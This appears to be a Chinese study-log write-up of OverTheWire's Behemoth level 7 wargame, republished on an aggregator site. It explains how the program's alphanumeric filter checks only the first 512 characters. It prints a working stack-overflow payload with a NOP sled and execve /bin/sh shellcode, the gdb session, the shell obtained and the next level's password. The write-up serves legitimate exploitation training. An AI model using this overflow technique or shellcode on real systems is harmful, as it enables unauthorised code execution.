170908 WarGames-Behemoth(7)
来源:互联网 发布:三大中文数据库优缺点 编辑:程序博客网 时间:2024/05/17 11:07
1625-5 王子昂 总结《2017年9月8日》 【连续第340天总结】
A. WarGames-Behemoth
B.
Level 7
int __cdecl main(int argc, const char **argv, const char **envp){ size_t v3; // eax@2 int v5; // [sp+14h] [bp-20Ch]@13 signed int v6; // [sp+214h] [bp-Ch]@4 int i; // [sp+218h] [bp-8h]@1 const char *v8; // [sp+21Ch] [bp-4h]@1 v8 = argv[1]; for ( i = 0; envp[i]; ++i ) // 清空环境变量 { v3 = strlen(envp[i]); memset((void *)envp[i], 0, v3); } v6 = 0; if ( argc > 1 ) { while ( *v8 && v6 <= 511 ) { ++v6; if ( !((*__ctype_b_loc())[*v8] & 0x400) && !((*__ctype_b_loc())[*v8] & 0x800) ) { fprintf(_bss_start, "Non-%s chars found in string, possible shellcode!\n", "alpha"); exit(1); } ++v8; } strcpy((char *)&v5, argv[1]); } return 0;}
这次的关键点在__ctype_b_loc()上,从程序来看是个数组
百度没找到什么有用的结果,不过从回复提示来看应该是检测“Non-alpha”字符的;试着输入字母和数字没反应,下划线等符号则会被检测出来
payload大部分都是非可见字符,因此肯定不在alpha字符中
不过有一个漏洞,就是*v8 && v6 <=511
这就意味着该检测只处理前512个字符,因此只需要用合法字符填充,将payload放在之后即可
尝试构造512*’a’+’-‘可以通过,验证猜想无误
另外注意堆栈结构,IDA显示v5的位置为ebp-0x20c,即理论上来说堆栈应该为
524(v5及之后的局部变量)+4(ebp保存)+4(函数返回地址)
构造Shellcode在gdb中实验后发现:
(gdb) r
python -c 'print "a"*524+"a"*4+"bbbb"+"\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'
Program received signal SIGSEGV, Segmentation fault.
0x2f2f6850 in ?? ()
说明中间有8个字节的偏移,应该就是见过很多次的编译器优化-寄存器指针对齐
在构造Shellcode的时候需要多加8个字符的偏移
然后就是找到地址,在gdb break main后查看堆栈,发现argv在0xffffd50a处附近
gdb getshell成功以后退出来在shell中运行发现地址不完全相同,加了100的Sled也不好使,一气之下直接搞了1000个字节,居然成了 简直暴力
behemoth7@behemoth:~$ /behemoth/behemoth7
python -c 'print "a"*524+"a"*8+"a"*4+"\xd8\xd5\xff\xff"+"\x90"*1000+"\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'
$
whoami
behemoth8
$
cat /etc/behemoth_pass/behemoth8
pheewij7Ae
Level 8
Congratz!!
Now fight for your right to eip=0x41414141!!
本关结束了,最后这个不明白是什么意思,也没查到相关的信息(:з」∠)
C. 明日计划
WarGames
- 170908 WarGames-Behemoth(7)
- 170903 WarGames-Behemoth(0)
- 170903 WarGames-Behemoth(1)
- 170904 WarGames-Behemoth(2)
- 170905 WarGames-Behemoth(3)
- 170906 WarGames-Behemoth(4)
- 170907 WarGames-Behemoth(5-6)
- WarGames-leviathan(0-7)
- 170901 WarGames-Narnia(7)
- WarGames-Natas(16)
- 170817 WarGames-Natas(15)
- 170821 WarGames-Natas(26)
- 170823 WarGames-Narnia(0)
- 170828 WarGames-Narnia(3)
- 170829 WarGames-Narnia(4)
- 170830 WarGames-Narnia(5)
- 170831 WarGames-Narnia(6)
- 170902 WarGames-Narnia(8)
- 2017ccpc网络赛
- tomcat服务器打不开jsp文件 错误404
- 配置arm-linux虚拟机开发环境
- MySQL常用命令
- 京东2018秋招编程题
- 170908 WarGames-Behemoth(7)
- debian下安装python3
- 转载:unity坐标系详解
- Thrift c++ server & java client配置
- Redis源码剖析--简单动态字符串sds
- 「音视频直播技术」OpenGL渲染之距阵变换
- 字符串的基本操作
- POJ 2318 TOYS(点在多边形内判定 刘汝佳模板)
- SpringMVC与MyBatis的整合